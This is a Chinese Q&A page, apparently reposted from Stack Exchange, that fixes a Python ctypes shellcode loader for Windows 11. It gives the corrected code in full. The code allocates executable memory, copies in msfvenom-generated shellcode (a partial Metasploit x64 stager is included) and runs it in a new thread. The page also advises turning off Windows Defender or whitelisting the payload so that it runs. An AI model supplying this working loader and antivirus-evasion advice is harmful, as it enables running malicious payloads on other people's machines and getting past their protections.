Windows11下Python运行msfvenom生成的shellcode遇内存访问违例如何解决?
解决Windows 11下Python运行shellcode的访问违例错误
这个错误的核心是ctypes类型不匹配和指针处理错误:64位Windows系统下指针是8字节,你用ctypes.c_int(仅4字节)转换指针会导致地址截断,同时内存分配的参数类型也存在问题,最终触发写入权限违规。
修复后的代码
import ctypes # msfvenom生成的shellcode buf = b"" buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51" buf += b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52" # ... 补充剩余shellcode内容 shellcode = bytearray(buf) # 定义匹配Windows API的ctypes类型别名 LPVOID = ctypes.c_void_p SIZE_T = ctypes.c_size_t DWORD = ctypes.c_ulong HANDLE = ctypes.c_void_p # 分配可读写执行的内存 ptr = ctypes.windll.kernel32.VirtualAlloc( LPVOID(0), # 让系统自动分配内存地址 SIZE_T(len(shellcode)), # 内存大小为shellcode长度 DWORD(0x1000 | 0x2000), # MEM_COMMIT | MEM_RESERVE,确保内存被实际分配 DWORD(0x40) # PAGE_EXECUTE_READWRITE,允许读写执行权限 ) if not ptr: raise RuntimeError(f"VirtualAlloc分配失败,错误码: {ctypes.windll.kernel32.GetLastError()}") # 将shellcode复制到分配好的内存区域 ctypes.windll.kernel32.RtlMoveMemory( LPVOID(ptr), shellcode, SIZE_T(len(shellcode)) ) # 创建线程执行shellcode ht = ctypes.windll.kernel32.CreateThread( LPVOID(0), # 不设置线程属性 SIZE_T(0), # 使用默认栈大小 LPVOID(ptr), # 指向shellcode的指针 LPVOID(0), # 不传线程参数 DWORD(0), # 线程立即运行 LPVOID(0) # 不需要返回线程ID ) if not ht: raise RuntimeError(f"CreateThread创建失败,错误码: {ctypes.windll.kernel32.GetLastError()}") # 等待线程执行完成 ctypes.windll.kernel32.WaitForSingleObject( HANDLE(ht), DWORD(0xFFFFFFFF) # 无限等待线程结束 ) # 关闭线程句柄释放资源 ctypes.windll.kernel32.CloseHandle(HANDLE(ht))
关键修改说明
- 指针类型匹配:用
c_void_p(LPVOID)存储指针,避免c_int截断64位地址,这是解决访问违例的核心。 - 明确内存权限与分配类型:
0x40是PAGE_EXECUTE_READWRITE,确保内存可写且可执行;0x1000|0x2000是MEM_COMMIT|MEM_RESERVE,保证内存被实际分配。 - 增加错误检查:对
VirtualAlloc和CreateThread的返回值做校验,方便快速定位问题。 - 统一参数类型:所有Windows API参数使用对应标准类型(如
SIZE_T、DWORD),避免隐式转换出错。
额外注意事项
- 必须以管理员权限运行Python脚本,否则可能因权限不足分配内存失败。
- 确保msfvenom生成的shellcode与Python位数一致:64位Python对应
windows/x64系列payload,32位Python对应windows/x86系列。 - Windows Defender或第三方杀毒软件可能拦截shellcode执行,需临时关闭或添加白名单。
内容的提问来源于stack exchange,提问作者vIIr
相关产品推荐
相关产品推荐

